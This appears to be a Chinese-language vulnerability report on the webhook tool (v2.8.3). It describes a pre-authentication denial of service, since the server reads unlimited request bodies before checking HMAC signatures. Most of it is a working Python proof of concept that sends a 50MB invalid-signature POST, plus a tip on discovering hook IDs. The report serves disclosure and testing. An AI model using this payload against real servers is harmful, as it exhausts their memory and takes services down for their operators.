#756·webhook

通过无限读取请求体进行预授权拒绝服务

作者: geo-chen创建于 2026年6月13日更新于 2026年6月13日

前提条件:webhook v2.8.3二进制文件、hooks配置文件和curl或Python。hook ID必须已知(可通过404响应来发现,这些响应返回“Hook not found.”而不是匹配ID的“OK”,尽管hook ID是由管理员定义的字符串)。

bash
# 启动包含受payload-hmac-sha256保护的hook的webhook(默认hooks.json示例)
# hooks.json包含一个id为"deploy"的hook,受payload-hmac-sha256保护
./webhook -hooks hooks.json -port 9000
# 在另一个终端中,检查基线内存:
ps aux | grep webhook
# mrrobot 12345 ... 11392 ... ./webhook -hooks hooks.json -port 9000
# VmRSS ~11MB 基线
# 向受payload-hmac-sha256保护的hook发送一个50MB的无效签名体:
python3 -c "
import socket, json
body = json.dumps({'message': 'A' * 50000000})
content_length = len(body)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 9000))
request = (
f'POST /hooks/deploy HTTP/1.1\r\n'
f'Host: localhost\r\n'
f'Content-Type: application/json\r\n'
f'X-Hub-Signature-256: sha256=invalidsignature\r\n'
f'Content-Length: {content_length}\r\n'
f'\r\n'
)
s.send(request.encode())
s.send(body.encode())
data = s.recv(4096)
print(data[:200].decode())
s.close()
"
# 输出:
# HTTP/1.1 500 Internal Server Error
# Date: Sat, 13 Jun 2026 10:27:48 GMT
# Content-Length: 43